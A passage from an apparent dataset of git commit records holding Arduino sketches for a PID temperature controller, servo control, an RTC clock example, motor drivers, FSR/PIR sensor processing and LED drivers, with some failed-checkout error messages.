_outputLabel.setValue(\"?\");\n _outputLabel.setFontSize(Size_20x32);\n }\n\n virtual void draw(TFT &hw)\n {\n if (_editDigit >= 0) {\n if (_consignLabel.requireRefresh() && _editDigit >= 0)\n {\n _editLabel.setRequireRefresh(true);\n }\n }\n\n _consignLabel.draw(hw);\n _currentTempLabel.draw(hw);\n _outputLabel.draw(hw);\n\n if (_editDigit >= 0) {\n _editLabel.draw(hw);\n }\n\n hw.stroke(255, 255, 255);\n if (_aliveFlag)\n {\n hw.fill(255, 255, 255);\n }\n else\n {\n hw.fill(0, 0, 0);\n }\n hw.rect(150, 120, 8, 8);\n _aliveFlag = !_aliveFlag;\n }\n\n void setOutput(float output)\n {\n _outputLabel.setValue((int)output);\n }\n\n void setConsign(float consign)\n {\n _consignLabel.setValue(consign);\n }\n\n void setTemp(float currentTemp)\n {\n _currentTempLabel.setValue(currentTemp);\n }\n\n void editConsign(short editDigit, short editPower)\n {\n _editDigit = editDigit;\n _editLabel.setValue(_editDigit);\n Point pt(_consignLabel.position());\n\n short decimals = _consignLabel.decimals();\n short pos = _consignLabel.size() - 1;\n\n if (editPower >= 0)\n {\n if (decimals > 0)\n {\n pos -= (decimals + 1);\n }\n }\n\n if (editPower < 0)\n {\n pos -= (decimals + editPower);\n }\n else\n {\n pos -= editPower;\n }\n\n pt.x = _editLabel.fontSize() * 6 * pos;\n _consignLabel.setRequireRefresh(true);\n _editLabel.setPosition(pt);\n }\n\n void incEditDigit()\n {\n _editDigit = (_editDigit + 1) % 10;\n _editLabel.setValue(_editDigit);\n }\n\n void decEditDigit()\n {\n _editDigit--;\n if (_editDigit < 0)\n {\n _editDigit = 10 + _editDigit;\n }\n _editLabel.setValue(_editDigit);\n }\n\n short editDigit()\n {\n return _editDigit;\n }\n\n void disableEdit()\n {\n _editDigit = -1;\n _editLabel.setValue(_editDigit);\n _consignLabel.setRequireRefresh(true);\n }\n\n private:\n Label _consignLabel;\n Label _editLabel;\n Label _currentTempLabel;\n Label _outputLabel;\n short _editDigit;\n bool _aliveFlag;\n};\n\n#define DEBOUNCE_DELAY 30\n#define LONG_PRESSED 1000\n\nenum KeyEvent\n{\n NoKeyEvent,\n ShortKeyUp,\n LongKeyDown\n};\n\nclass Button\n{\n public:\n Button(int pin)\n : _pin(pin),\n _lastReading(0),\n _longKeyDownSignaled(false),\n _event(NoKeyEvent),\n _duration(0),\n _highSince(0),\n _lowSince(0),\n _lastChanged(0)\n {\n unsigned long now(millis());\n\n _highSince = now;\n _lowSince = now;\n _lastChanged = now;\n loop();\n\n pinMode(pin, INPUT);\n }\n\n void loop()\n {\n unsigned long now(millis());\n int reading = digitalRead(_pin);\n\n _event = NoKeyEvent;\n\n if (now - _lastChanged > DEBOUNCE_DELAY)\n {\n if (_lastReading == LOW && _lowSince <= _highSince)\n {\n _lowSince = now;\n _duration = _lowSince - _highSince;\n\n if (_duration < LONG_PRESSED)\n {\n _event = ShortKeyUp;\n }\n }\n else if (_lastReading == HIGH)\n {\n if (_highSince <= _lowSince)\n {\n _longKeyDownSignaled = false;\n _highSince = now;\n }\n\n _duration = now - _highSince;\n\n if (_duration >= LONG_PRESSED && !_longKeyDownSignaled)\n {\n _event = LongKeyDown;\n _longKeyDownSignaled = true;\n }\n }\n }\n\n if (reading != _lastReading)\n {\n _lastChanged = now;\n _lastReading = reading;\n }\n }\n\n KeyEvent event()\n {\n return _event;\n }\n\n private:\n int _pin;\n int _lastReading;\n bool _longKeyDownSignaled;\n KeyEvent _event;\n unsigned long _duration;\n unsigned long _highSince;\n unsigned long _lowSince;\n unsigned long _lastChanged;\n\n};\n\n#define KEYPAD_BUTTONS 4\n\nclass KeyPad\n{\n public:\n KeyPad()\n {\n _buttons[0] = new Button(2);\n _buttons[1] = new Button(4);\n _buttons[2] = new Button(6);\n _buttons[3] = new Button(5);\n }\n\n void loop()\n {\n for (int i = 0; i < KEYPAD_BUTTONS; i++)\n {\n _buttons[i]->loop();\n }\n }\n\n ButtonsEnum event(KeyEvent keyEvent)\n {\n int matchButtons = 0;\n\n for (int i = 0; i < KEYPAD_BUTTONS; i++)\n {\n if (_buttons[i]->event() == keyEvent)\n {\n matchButtons |= (1 << i);\n }\n }\n\n return (ButtonsEnum)matchButtons;\n }\n\n private:\n Button *_buttons[4];\n};\n\nnamespace prg\n{\n enum StateEnum\n {\n Idle,\n EditConsign\n };\n}\n\nclass UpdateConsignStateMachine\n{\n public:\n static bool run(double &consign, ButtonsEnum shortEvt, ButtonsEnum longEvt, Screen &screen)\n {\n if (!_running)\n {\n _running = true;\n _editState = 0;\n _originalConsign = consign;\n editConsign(consign, screen);\n }\n else\n {\n if ((longEvt & SetButton) != 0)\n {\n consign = _originalConsign;\n _running = false;\n }\n else if ((shortEvt & SetButton) != 0)\n {\n changeModifiedConsign(consign, screen);\n _running = false;\n }\n else if ((shortEvt & UpButton) != 0)\n {\n screen.incEditDigit();\n }\n else if ((shortEvt & DownButton) != 0)\n {\n screen.decEditDigit();\n }\n else if ((shortEvt & RightButton) != 0)\n {\n changeModifiedConsign(consign, screen);\n nextDigit();\n editConsign(consign, screen);\n }\n\n \n\n if (shortEvt != NoButton || longEvt != NoButton)\n {\n Serial.print(\"consign:\");\n Serial.print(consign);\n Serial.print(\" state:\");\n Serial.println(_editState);\n Serial.print(\" init:\");\n Serial.println(_editInit);\n }\n }\n\n if (!_running)\n {\n screen.disableEdit();\n }\n\n return _running;\n }\n\n private:\n static double _originalConsign;\n static bool _running;\n static short _editState;\n static short _editInit;\n\n static void changeModifiedConsign(double &consign, Screen &screen)\n {\n consign += (screen.editDigit() - _editInit) * pow(10.0, _editState - 1);\n }\n\n static void nextDigit()\n {\n _editState = (_editState + 1) % 4;\n }\n\n static void editConsign(double &consign, Screen &screen)\n {\n _editInit = (short)(consign \/ pow(10.0, _editState - 1)) % 10;\n screen.editConsign(_editInit, _editState - 1);\n }\n};\n\ndouble UpdateConsignStateMachine::_originalConsign = 0.0;\nbool UpdateConsignStateMachine::_running = false;\nshort UpdateConsignStateMachine::_editState = 0;\nshort UpdateConsignStateMachine::_editInit = 0;\n\nServo myservo;\nint val;\n\nclass Program\n{\n public:\n\n Program()\n : _p(2), _i(5), _d(1),\n _input(0), _output(0), _consign(0),\n _tft(TFT_CS, TFT_DC, TFT_RESET),\n _pid(&_input, &_output, &_consign, _p, _i, _d, DIRECT)\n {\n \/\/ Nothing to do...\n }\n\n void setup() {\n Serial.begin(57600);\n \n _tft.begin();\n _tft.background(0, 0, 0);\n\n analogReference(EXTERNAL);\n\n _pid.SetOutputLimits(0.0, 2000.0);\n _pid.SetMode(AUTOMATIC);\n\n _input = 0.0;\n _output = 0.0;\n _consign = 32.0;\n\n myservo.attach(3);\n\n _state = prg::Idle;\n }\n\n void shortTask() {\n _keyPad.loop();\n\n ButtonsEnum longEvt = _keyPad.event(LongKeyDown);\n ButtonsEnum shortEvt = _keyPad.event(ShortKeyUp);\n\n if (shortEvt != NoButton || longEvt != NoButton)\n {\n Serial.print(\"LONG:\");\n Serial.print(longEvt);\n Serial.print(\" SHORT:\");\n Serial.println(shortEvt);\n }\n\n switch (_state)\n {\n case prg::Idle:\n if ((longEvt & SetButton) != 0)\n {\n _state = prg::EditConsign;\n }\n break;\n case prg::EditConsign:\n if (!UpdateConsignStateMachine::run(_consign, shortEvt, longEvt, _mainScreen))\n {\n _state = prg::Idle;\n }\n break;\n }\n }\n\n void longTask() {\n float voltage = (analogRead(A3) * 3.3f) \/ 1024.0f;\n _input = (voltage - 0.5f) * 100.0f;\n _pid.Compute();\n\n myservo.write(map(_output, 0, 2000, 0, 100));\n\n _mainScreen.setConsign(_consign);\n _mainScreen.setTemp(_input);\n _mainScreen.setOutput(_output);\n _mainScreen.draw(_tft);\n }\n\n private:\n double _p;\n double _i;\n double _d;\n double _input;\n double _consign;\n double _output;\n TFT _tft;\n Screen _mainScreen;\n KeyPad _keyPad;\n PID _pid;\n prg::StateEnum _state;\n};\n\nvoid shortCallback();\nvoid longCallback();\n\nProgram prog;\nScheduler sched;\nTask shortTask(5, TASK_FOREVER, &shortCallback);\nTask longTask(500, TASK_FOREVER, &longCallback);\n\nvoid shortCallback()\n{\n prog.shortTask();\n}\n\nvoid longCallback()\n{\n prog.longTask();\n}\n\nvoid setup() {\n prog.setup();\n sched.init();\n sched.addTask(shortTask);\n sched.addTask(longTask);\n shortTask.enable();\n longTask.enable();\n}\n\nvoid loop()\n{\n sched.execute();\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/src.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f88502ff746d07c710a479e30e498cba0c16f8be","subject":"Create ServoArduino.ino","message":"Create ServoArduino.ino\n\nControle do servo por porta serial","repos":"MateusJFabricio\/ProjVeiculoMapeamentoAutomatico,MateusJFabricio\/ProjVeiculoMapeamentoAutomatico","old_file":"AutoMap\/ServoArduino.ino","new_file":"AutoMap\/ServoArduino.ino","new_contents":"#include <Servo.h> \nServo servo;\n\nconst int pino_led = 13;\nchar buf;\nint angulo = 90; \n \nvoid setup()\n{\n servo.attach(8);\n servo.write(90);\n Serial.begin(9600);\n}\n \nvoid loop()\n{\n while (Serial.available() > 0)\n {\n angulo = Serial.read();\n servo.write(angulo);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AutoMap\/ServoArduino.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"9cfabbe20e40c4b6a4c605b410b57016f0930d33","subject":"Initial upload of test test code for MS5803-14BA","message":"Initial upload of test test code for MS5803-14BA\n\nThis code displays pressure and temperature values from the MS5803-14BA\ndetected through its I2C bus on the \"serial monitor\" screen in the\nArduino IDE. Because the MS5803-14BA uses a 3v3 logic, the user should\ntake care to only power the devise with 3v3 (not 5v). CLK and SDA seem\nto work when attached directly to the Arduino, however.\n","repos":"codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software","old_file":"arduino\/Test Code\/Walts_Depth_Sensor_Rev1.ino","new_file":"arduino\/Test Code\/Walts_Depth_Sensor_Rev1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'Code\/Walts_Depth_Sensor_Rev1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d97c0a964ac383d37f9f32f883e39611412aca7","subject":"Create Arduino_RTC_example1.ino","message":"Create Arduino_RTC_example1.ino","repos":"AGenews\/MDS","old_file":"Arduino_RTC_example1.ino","new_file":"Arduino_RTC_example1.ino","new_contents":"\/\/ Date and time functions using a DS1307 RTC connected via I2C and Wire lib\n#include <Wire.h>\n#include \"RTClib.h\"\n\n#if defined(ARDUINO_ARCH_SAMD)\n\/\/ for Zero, output on USB Serial console, remove line below if using programming port to program the Zero!\n #define Serial SerialUSB\n#endif\n\nRTC_PCF8523 rtc;\n\nchar daysOfTheWeek[7][12] = {\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"};\n\nvoid setup () {\n\n#ifndef ESP8266\n while (!Serial); \/\/ for Leonardo\/Micro\/Zero\n#endif\n\n Serial.begin(57600);\n if (! rtc.begin()) {\n Serial.println(\"Couldn't find RTC\");\n while (1);\n }\n\n if (! rtc.initialized()) {\n Serial.println(\"RTC is NOT running!\");\n \/\/ following line sets the RTC to the date & time this sketch was compiled\n rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n \/\/ This line sets the RTC with an explicit date & time, for example to set\n \/\/ January 21, 2014 at 3am you would call:\n \/\/ rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n }\n}\n\nvoid loop () {\n DateTime now = rtc.now();\n \n Serial.print(now.year(), DEC);\n Serial.print('\/');\n Serial.print(now.month(), DEC);\n Serial.print('\/');\n Serial.print(now.day(), DEC);\n Serial.print(\" (\");\n Serial.print(daysOfTheWeek[now.dayOfTheWeek()]);\n Serial.print(\") \");\n Serial.print(now.hour(), DEC);\n Serial.print(':');\n Serial.print(now.minute(), DEC);\n Serial.print(':');\n Serial.print(now.second(), DEC);\n Serial.println();\n \n Serial.print(\" since midnight 1\/1\/1970 = \");\n Serial.print(now.unixtime());\n Serial.print(\"s = \");\n Serial.print(now.unixtime() \/ 86400L);\n Serial.println(\"d\");\n \n \/\/ calculate a date which is 7 days and 30 seconds into the future\n DateTime future (now + TimeSpan(7,12,30,6));\n \n Serial.print(\" now + 7d + 30s: \");\n Serial.print(future.year(), DEC);\n Serial.print('\/');\n Serial.print(future.month(), DEC);\n Serial.print('\/');\n Serial.print(future.day(), DEC);\n Serial.print(' ');\n Serial.print(future.hour(), DEC);\n Serial.print(':');\n Serial.print(future.minute(), DEC);\n Serial.print(':');\n Serial.print(future.second(), DEC);\n Serial.println();\n \n Serial.println();\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_RTC_example1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a8b4f1fd384a152a8f379cb24a8b72382cd67e17","subject":"Fixed issue relating to stopping and starting oven.","message":"Fixed issue relating to stopping and starting oven.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"002fca71e714c05dc67f72098355f14399ccc406","subject":"Create MDriver_no_PWM.ino","message":"Create MDriver_no_PWM.ino","repos":"AlcoCoder\/MDriver","old_file":"examples\/MDriver_no_PWM\/MDriver_no_PWM.ino","new_file":"examples\/MDriver_no_PWM\/MDriver_no_PWM.ino","new_contents":"#include \"MDriver.h\"\n\n\/*\n *\u042d\u0442\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0431\u0435\u0437 \u0428\u0418\u041c(PWM) \u0441\u0438\u0433\u043d\u0430\u043b\u0430, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430 \u043f\u0438\u043d\u044b\n *ENA \u0438 ENB \u043d\u0430 \u043f\u043b\u0430\u0442\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u0442\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u043c\u0443 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e (+5V).\n *\n * \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 MDrive \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u043d\u044b\u043c\u0438 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f\u043c\u0438\n * \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c\u0435 L293 \u0438\u043b\u0438 L298.\n * \n * \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0432\u044b\u0445\u043e\u0434\u044b \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c\n * \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u043c \u043f\u0438\u043d\u0430\u043c Arduino: \n * 1) \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f:*\/\n#define IN1 2\n#define IN2 4\n \/\/2) \u0434\u043b\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f:\n#define IN3 6\n#define IN4 7\n\n\/* \n * \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438:\n * speed(uint8_t speed); - \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 0 \u0434\u043e 255, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \n * \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d \u0431\u0435\u0437 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438\n * \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0442\u043e \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439.\n * forward(); \u0438 backward(); - \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \n * \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445\n * stop(); - \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439\n *\/\n \n\/\/\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0435\u0437 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \n\/\/\u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442\u0441\u044f \u0447\u0442\u043e \u043f\u0438\u043d EN \u043d\u0430 \u043f\u043b\u0430\u0442\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u0442 \u043a +5V.\n\/\/\u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b MDrive(IN1, IN2) \nMDriver m1(IN1, IN2);\nMDriver m2(IN3, IN4);\n\nvoid setup(){}\n\nvoid loop()\n{\n m1.forward();\n m2.backward();\n delay(1000);\n \n m1.stop();\n m2.stop();\n delay(100);\n \n m1.backward();\n m2.forward();\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MDriver_no_PWM\/MDriver_no_PWM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"96b9ebf6019bea632312336fc2b16a5cbfc4bd5b","subject":"smooth wave","message":"smooth wave\n","repos":"stevelacy\/LEDFade,stevelacy\/LEDFade","old_file":"LEDWheel.ino","new_file":"LEDWheel.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stevelacy\/LEDFade.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b700b4a821820c273b805e2c378a56ad15b5d2fa","subject":"Completed SW for PIR and Pressure sensors. TODO: EMG","message":"Completed SW for PIR and Pressure sensors. TODO: EMG\n","repos":"icarreras\/IPPA_application,icarreras\/IPPA_application,icarreras\/IPPA_application,icarreras\/IPPA_application","old_file":"Sensor_Module\/Sensor_Module.ino","new_file":"Sensor_Module\/Sensor_Module.ino","new_contents":"\/*\n * Sensor_Module.ino\n *\n * Created: 2\/27\/2015 12:18:38 PM\n * Author: Matthew\n *\/\n\n\/*\t\n * Rfsr = [(Vcc * Rm) \/ Vdet] - Rm\n * Force = 462.95*(Vout) - 153.86\n *\/\n#include <SoftwareSerial.h>\n\n#define VCC 5.0 \/\/ conversion constants\n#define ADC 1024.0\n\/\/#define ADC 5.0\/1024.0\n\n#define emgPin 0\n#define pirPin 1\n#define p1Pin 2\n#define p2Pin 3\n#define p3Pin 4\n\nint pinArray[5] = {\n 1, 2, 3, 4, 5};\t\/\/ defines the analog pins to use as inputs\n\ndouble sensorValue[5] = {\n 0, 0, 0, 0, 0}; \/\/ storage for the sensor readings\n\ndouble emgBuffer[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; \/\/ emg data memory \ndouble pirBuffer[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; \/\/ pir data memory\n\nint emgpos = 0, pirpos = 0; \/\/ points to the oldest item in the buffer\n\ndouble emgThresh = 1.0; \/\/ emg cutoff (volts)\ndouble pirThresh = 1.0; \/\/ pir cutoff (volts)\ndouble fsrThresh = 500.0; \/\/ pressure sens cutoff (grams)\n\nint interrupt1 = 0; \/\/ Outgoing data pins\nint interrupt2 = 0;\nint emgOut = 0;\nint pirOut = 0;\nint fsr1 = 0;\nint fsr2 = 0;\nint fsr3 = 0;\n\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX\n\nvoid setup()\n{\n \/\/ Initialize comm with tiva\n initComm();\n \n \/\/ Setup GPIOs as inputs\/outputs\n pinMode(A1, INPUT);\n pinMode(A2, INPUT);\n pinMode(A3, INPUT);\n pinMode(A4, INPUT);\n pinMode(A5, INPUT);\n \n pinMode(0, OUTPUT); \/\/ fsr1 out\n pinMode(1, OUTPUT); \/\/ fsr2 out\n pinMode(2, OUTPUT); \/\/ pir out\n pinMode(3, OUTPUT); \/\/ emg out\n \n \/\/debug outputs\n pinMode(10, OUTPUT); \/\/ emg out\n pinMode(11, OUTPUT); \/\/ pir out\n pinMode(12, OUTPUT); \/\/ fsr1 out\n pinMode(13, OUTPUT); \/\/ fsr2 out\n \n delay(100);\n \n \/\/ Read some values from emg sensor to determine base value\n \/\/calibrateEMG();\n \n \/\/ Repeat above for pir \n calibratePIR();\n \n \n}\n\nvoid loop()\n{\n readSensorValues();\n\n \/\/ Process FSR\n double force = sensorValue[p1Pin]*462.95 - 153.86;\n \n proc_FSR(force);\n \n \/\/ Process EMG\n \/*\n int emgOut = proc_EMG(sensorValue[emgPin]); \n \n if (emgOut == 1) digitalWrite(13, HIGH);\n else digitalWrite(13, LOW);\n *\/\n \n \n \/\/ Process PIR\n int pirOut = proc_PIR(sensorValue[pirPin]);\n \n if (pirOut == 1) {\n \/\/digitalWrite(12, HIGH);\n digitalWrite(2, HIGH);\n }\n \n else {\n \/\/digitalWrite(12, LOW);\n digitalWrite(2, LOW);\n }\n \n \/\/printSensorValues(); \n}\n\nint proc_EMG(double data) {\n \n emgBuffer[emgpos] = data;\n \n \/\/ Compute the average of the new buffer\n double avg = 0;\n \n for (int i = 0; i < 10; i++) {\n avg += emgBuffer[i];\n }\n\n avg \/= 10;\n \n \/\/ Check if the average is above the threshold\n if (avg >= emgThresh)\n return 1;\n \n return 0;\n}\n\nvoid proc_FSR(double data) {\n \n if (data > 800) { \/\/ Medium force detected, set fsrpin 1 to HIGH\n \/\/digitalWrite(12, HIGH); \/\/ debug\n digitalWrite(0, HIGH); \/\/ <-- actual comm. port to tiva\n }\n else {\n \/\/digitalWrite(12, LOW); \/\/ debug\n digitalWrite(0, LOW); \/\/ <-- actual comm. port to tiva\n }\n \n if (data > 1000) { \/\/ High force detected, set fsr pin 2 to HIGH\n \/\/digitalWrite(13, HIGH);\n digitalWrite(1, HIGH);\n }\n else {\n \/\/digitalWrite(13, LOW);\n digitalWrite(1, LOW);\n }\n \n}\n\nint proc_PIR(double data) {\n \n pirBuffer[pirpos] = data;\n \n pirpos = (pirpos+1)%10; \/\/ advance to the next buffer pos\n \n \/\/ Compute the average of the new buffer\n double avg = 0;\n \n for (int i = 0; i < 10; i++) {\n avg += pirBuffer[i];\n }\n\n \/\/ THIS IS WHERE TO MODIFY THE DETECTION DISTANCE\n avg \/= 1.5; \n \n \/\/ return true if the data has been reduced to half the threshold\n if (avg < pirThresh)\n return 1;\n \n return 0; \n}\n\nvoid readSensorValues() {\n\n for (int i = 0; i <= 4; i++) {\n \/\/ Store the analog read value & convert into a voltage between 0 & 5V\n sensorValue[i] = analogRead(pinArray[i])*(VCC\/ADC);\n }\n \n \/\/Serial.println(analogRead(pinArray[p1Pin]));\n \/\/printSensorValues();\n}\n\nvoid printSensorValues() {\n \n \/\/double force = sensorValue[2]*462.95 - 153.86;\n \n \/\/Serial.print(force);\n\n for (int i = 0; i <= 4; i++) {\n Serial.print(i+1);\n Serial.print(\": \");\n Serial.print(sensorValue[i]);\n Serial.print(\" \");\n }\n\t\n Serial.println();\n delay(500); \n \n}\n\nvoid initComm() {\n Serial.begin(9600);\n}\n\nvoid calibrateEMG() {\n \/\/ fill the emg buffer\n for (int i = 0; i < 10; i++) {\n emgBuffer[i] = analogRead(pinArray[emgPin])*ADC;\n }\n \n \/\/ Take average of buffer & use as the \"relaxed\" value\n \/\/ TO DO\n \/\/ TO DO\n \/\/ TO DO\n \/\/ TO DO\n \/\/ TO DO\n \/\/ TO DO\n}\n\nvoid calibratePIR() {\n \/\/ Fill the pir buffer & compute avg\n double avg = 0;\n\n for (int i = 0; i < 10; i++) {\n pirBuffer[i] = analogRead(pinArray[pirPin])*VCC\/ADC;\n avg = avg + pirBuffer[i];\n }\n \n \/\/ use average of buffer for baseline\n avg = avg \/ 10.0; \n \n pirThresh = avg;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor_Module\/Sensor_Module.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"27ec98f1dd2cd62dd205fa75755657c3ee541bee","subject":"initial commit","message":"initial commit\n","repos":"ulrichstern\/Tlc59711","old_file":"examples\/LatchPulseTest\/LatchPulseTest.ino","new_file":"examples\/LatchPulseTest\/LatchPulseTest.ino","new_contents":"\/\/\n\/\/ \"Latch pulse\" test for Adafruit_TLC59711 library\n\/\/\n\/\/ 12 Mar 2016 by Ulrich Stern\n\/\/\n\/\/ open source (see LICENSE file)\n\/\/\n\/\/ notes:\n\/\/ * for the Tlc59711 library, this test will be added to Tlc59711Test\n\/\/ * for this test\n\/\/ - the red LEDs should be constant on\n\/\/ - the green and blue LEDs should blink (1s on, 1s off)\n\/\/ * the test fails as follows\n\/\/ - the red LEDs change (every second) between 2 intensities\n\/\/ - the blue LEDs do not turn off fully\n\/\/ * reason: see GitHub Wiki of the Tlc59711 library\n\/\/\n\n#include <Adafruit_TLC59711.h>\n\nconst int NUM_TLC = 1;\n\nAdafruit_TLC59711 tlc(NUM_TLC);\nlong writesPerSecond;\n\nvoid setup() {\n tlc.begin();\n unsigned long us = micros();\n tlc.write();\n writesPerSecond = 1000000L \/ (micros() - us);\n}\n\nvoid loop() {\n uint16_t tv = 0x96c0;\n \/\/ MSBs: 0b100101 (0x25), then 0b10110 (OUTTMG, ...)\n for (int j=0; j<2; j++) {\n for (int i=0; i<4*NUM_TLC; i++)\n tlc.setLED(i, tv, tv*j, tv*j);\n for (long i=0, n=writesPerSecond; i<n; i++)\n tlc.write();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LatchPulseTest\/LatchPulseTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8f080cf32a7316471d173cd8e7795b57be2e3699","subject":"Led8 class initial state","message":"Led8 class initial state\n\nAllows to control the 8 digit 7-segment screen","repos":"AndyLem\/arduino_experiments","old_file":"ledtest2.ino","new_file":"ledtest2.ino","new_contents":"\nint clock = 5; \/\/ SCK pin\nint latch = 6; \/\/ RCK pin\nint data = 7; \/\/ DIO pin\n\nclass Led8\n{\nprotected:\n int _data;\n int _clock;\n int _latch; \n int _symbols[16] = 